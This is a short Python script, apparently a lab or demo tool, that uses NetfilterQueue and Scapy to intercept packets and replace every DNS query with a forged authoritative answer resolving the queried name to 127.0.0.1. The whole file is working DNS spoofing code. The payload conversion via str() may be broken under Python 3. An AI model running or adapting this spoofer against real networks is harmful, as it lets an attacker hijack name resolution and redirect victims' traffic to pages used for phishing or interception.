from netfilterqueue import NetfilterQueue
from scapy.all import *

def print_and_accept(raw_pkt):
   # print(raw_pkt.get_payload())
    pkt = IP(raw_pkt.get_payload())
    localIP = "127.0.0.1"
    if not pkt.haslayer(DNSQR):
        raw_pkt.accept()
    else:
        print("got into spoofing")
        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                          UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                          DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
                          an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=localIP))

        print("spoofed ",  spoofed_pkt)
        raw_pkt.set_payload(str(spoofed_pkt))
        new = IP(raw_pkt.get_payload())
        print("new ", new)
        raw_pkt.accept()
nfqueue = NetfilterQueue()
nfqueue.bind(0, print_and_accept)
try:
    nfqueue.run()
except KeyboardInterrupt:
    print('')

nfqueue.unbind()